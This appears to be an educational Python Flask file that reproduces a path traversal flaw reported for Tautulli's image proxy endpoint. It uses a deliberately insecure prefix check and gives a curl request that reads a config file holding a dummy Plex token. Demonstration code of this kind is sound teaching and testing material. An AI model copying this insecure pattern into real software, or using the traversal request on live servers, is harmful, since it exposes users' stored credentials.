Vulnerable code sample

import os
from flask import Flask, request, abort, send_from_directory

# This is a simplified, representative example of the vulnerability
# described in CVE-2025-58761 for Tautulli v2.15.3 and prior.
# This code is for educational and demonstration purposes only.
#
# To test this vulnerable code:
# 1. Install Flask: `pip install Flask`
# 2. Create the following directory structure and files:
#    mkdir -p data/interfaces/default/images
#    echo "pms_token = FAKE_PLEX_TOKEN" > data/config.ini
#    echo "This is a safe image" > data/interfaces/default/images/safe_image.png
# 3. Run this Python script.
# 4. Use curl to exploit the vulnerability:
#    curl "http://127.0.0.1:5000/api/v2?cmd=real_pms_image_proxy&img=interfaces/default/images/../../../config.ini"

app = Flask(__name__)

# Assume the application's root data directory is a 'data' folder.
DATA_DIR = os.path.abspath('data')


@app.route('/api/v2')
def api_endpoint():
    """
    Simulates the Tautulli API endpoint that dispatches commands.
    """
    if request.args.get('cmd') == 'real_pms_image_proxy':
        return real_pms_image_proxy()
    abort(404)


def real_pms_image_proxy():
    """
    This function contains the logic vulnerable to path traversal.
    """
    img_param = request.args.get('img')

    if not img_param:
        abort(400, "Missing 'img' parameter")

    # THE VULNERABLE CHECK:
    # The code validates that the path *starts with* an allowed prefix.
    # However, it does not sanitize or block path traversal characters ('../').
    # An attacker can pass 'interfaces/default/images/../../../config.ini',
    # which satisfies this condition.
    if img_param.startswith('interfaces/default/images'):

        # The unsanitized user input is joined to the base data directory.
        # os.path.join will process the '..' characters, allowing the path
        # to "escape" the intended 'images' directory.
        file_path = os.path.join(DATA_DIR, img_param)

        # The path is then normalized, resolving sequences like '..' and creating
        # a final, absolute path to a file outside the intended directory.
        # For example, on Linux:
        # /app/data/interfaces/default/images/../../../config.ini
        # becomes:
        # /app/data/config.ini
        normalized_path = os.path.normpath(file_path)

        # The application proceeds to serve the file from the traversed path,
        # leading to arbitrary file read. A secure implementation would verify
        # that the 'normalized_path' is still within the allowed base directory.
        try:
            if not os.path.isfile(normalized_path):
                abort(404)

            directory = os.path.dirname(normalized_path)
            filename = os.path.basename(normalized_path)
            
            # The file at the traversed path is sent to the user.
            return send_from_directory(directory, filename)
        except (FileNotFoundError, ValueError):
            abort(404)

    # Code for handling remote URLs or other non-vulnerable cases.
    else:
        abort(403, "Path is not in the allowed directory.")


if __name__ == '__main__':
    if not os.path.exists('data/config.ini'):
        print("Error: Please create the dummy file structure as described in the code comments.")
    else:
        print("Vulnerable server is running on http://127.0.0.1:5000")
        print("Try to access the sensitive config.ini file with:")
        print("curl \"http://127.0.0.1:5000/api/v2?cmd=real_pms_image_proxy&img=interfaces/default/images/../../../config.ini\"")
        app.run(debug=False, port=5000)